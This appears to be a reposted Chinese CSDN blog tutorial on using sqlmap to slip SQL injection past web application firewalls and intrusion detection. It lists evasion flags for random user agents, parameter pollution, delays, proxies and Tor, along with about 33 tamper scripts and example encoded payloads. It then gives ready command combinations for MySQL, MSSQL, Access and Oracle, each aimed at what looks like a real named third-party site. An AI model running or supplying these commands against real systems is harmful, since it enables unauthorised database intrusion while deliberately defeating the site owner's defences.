天天看點

sqlmap繞過防火牆

0x00 前言

   現在的網絡環境往往是WAF/IPS/IDS保護着Web 伺服器等等,這種保護措施往往會過濾擋住我們的SQL注入查詢連結,甚至封鎖我們的主機IP,是以這個時候,我們就要考慮怎樣進行繞過,達到注入的目标。因為現在WAF/IPS/IDS都把sqlmap 列入黑名單了,呵呵!但是本文基于sqlmap 進行繞過注入測試,介紹至今仍然實用有效的技巧,以下政策在特定的環境能夠成功繞過,具體是否繞過,請仔細檢視輸出的資訊。

0x01 确認WAF

     首先我們判斷該Web 伺服器是否被WAF/IPS/IDS保護着。這點很容易實作,因為我們在漏掃或者使用專門工具來檢測是否有WAF,這個檢測,在nmap 的NSE,或者WVS的政策或者APPSCAN的政策中都有,我們可以利用這些來判斷。在此我們,也介紹使用sqlmap 進行檢測是否有WAF/IPS/IDS

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --thread 10 --identify-waf#首選

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --thread 10  --check-waf#備選

0x02 使用參數進行繞過

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --random-agent -v 2 #使用任意浏覽器進行繞過,尤其是在WAF配置不當的時候

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --hpp -v 3#使用HTTP 參數污染進行繞過,尤其是在ASP.NET/IIS 平台上

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --delay=3.5 --time-sec=60 #使用長的延時來避免觸發WAF的機制,這方式比較耗時

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理進行注入

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --ignore-proxy#禁止使用系統的代理,直接連接配接進行注入

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --flush-session#清空會話,重構注入

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --hex#或者使用參數 --no-cast ,進行字元碼轉換

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --mobile #對移動端的伺服器進行注入

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --tor # 匿名注入

0x03 使用腳本介紹

1 使用格式:

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --tamper=A.py,B.py#腳本A,腳本B

2 腳本總類

01 apostrophemask.py#用utf8代替引号;Example: (“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’

02 equaltolike.py#MSSQL * SQLite中like 代替等号;Example:  Input: SELECT * FROM users WHERE id=1 ;Output: SELECT * FROM users WHERE id LIKE 1

03 greatest.py#MySQL中繞過過濾’>’ ,用GREATEST替換大于号;Example: (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’

04 space2hash.py#空格替換為#号 随機字元串 以及換行符;Input: 1 AND 9227=9227;Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

05 apostrophenullencode.py#MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL繞過過濾雙引号,替換字元和雙引号;

06 halfversionedmorekeywords.py#當資料庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論;

07 space2morehash.py#MySQL中空格替換為 #号 以及更多随機字元串 換行符;

08 appendnullbyte.py#Microsoft Access在有效負荷結束位置加載零位元組字元編碼;Example: (‘1 AND 1=1’) ‘1 AND 1=1%00’

09 ifnull2ifisnull.py#MySQL,SQLite (possibly),SAP MaxDB繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

10 space2mssqlblank.py(mssql)#mssql空格替換為其它空符号

11base64encode.py#用base64編碼j Example: (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all

12 space2mssqlhash.py#mssql查詢中替換空格

13 modsecurityversioned.py#(mysql中過濾空格,包含完整的查詢版本注釋;Example: (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’

14 space2mysqlblank.py#(mysql中空格替換其它空白符号

15 between.py#MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替換大于号(>)

16 space2mysqldash.py#MySQL,MSSQL替換空格字元(”)(’ – ‘)後跟一個破折号注釋一個新行(’ n’)

17 multiplespaces.py#圍繞SQL關鍵字添加多個空格;Example: (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’

18 space2plus.py#用+替換空格;Example: (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’

19 bluecoat.py#MySQL 5.1, SGOS代替空格字元後與一個有效的随機空白字元的SQL語句。 然後替換=為like

20 nonrecursivereplacement.py#雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

21 space2randomblank.py#代替空格字元(“”)從一個随機的空白字元可選字元的有效集

22 sp_password.py#追加sp_password’從DBMS日志的自動模糊處理的26 有效載荷的末尾

23 chardoubleencode.py#雙url編碼(不處理以編碼的)

24 unionalltounion.py#替換UNION ALL SELECT UNION SELECT;Example: (’-1 UNION ALL SELECT’) ‘-1 UNION SELECT’

25 charencode.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url編碼;

26 randomcase.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随機大小寫

27 unmagicquotes.py#寬字元繞過 GPC addslashes;Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20

28 randomcomments.py#用分割sql關鍵字;Example:‘INSERT’ becomes ‘IN//S//ERT’

29 charunicodeencode.py#ASP,ASP.NET中字元串 unicode 編碼;

30 securesphere.py#追加特制的字元串;Example: (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=‘0having’”

31 versionedmorekeywords.py#MySQL >= 5.1.13注釋繞過

32 space2comment.py#Replaces space character (‘ ‘) with comments ‘’

33 halfversionedmorekeywords.py#MySQL < 5.1中關鍵字前加注釋

0x04腳本參數組合政策繞過

1 mysql繞過:

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4” --random-agent --hpp  --tamper=space2mysqldash.p,versionedmorekeywords.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py

備注:這些組合政策可以根據注入的回報資訊,及時調整組合政策

2 MSSQL:

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=3.5 --time-sec=120  --tamper=space2mssqlblank.py,securesphere.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=3.5 --tamper=unionalltounion.py,base64encode.p

3 ms access:

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=3.5 --random-agent  --tamper=appendnullbyte.py,space2plus.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=3.5 --random-agent --hpp  --tamper=chardoubleencode.py

4 Oracle:

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py

[email protected]:~# sqlmap -u “http://yiliao.kingdee.com/contents.php?id=51&types=4”  --delay=5–user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py

5 建議:

      因為WAF可能采用白名單規則,是以對于選擇哪種政策,重點是根據-v 3 提示的資訊進行判斷,可以抓取主流的浏覽器的user-agent ,s适當的延時,加上注入字元轉換—大小寫、空格、字元串、注釋、加密等等方式

鑒于參數和32種腳本,在我們平時的注入,這些通過不同的多重組合來進行測試,這個測試或者比較耗時

作者:煜銘2011

來源:CSDN

原文:https://blog.csdn.net/qq_29277155/article/details/51193071

版權聲明:本文為部落客原創文章,轉載請附上博文連結!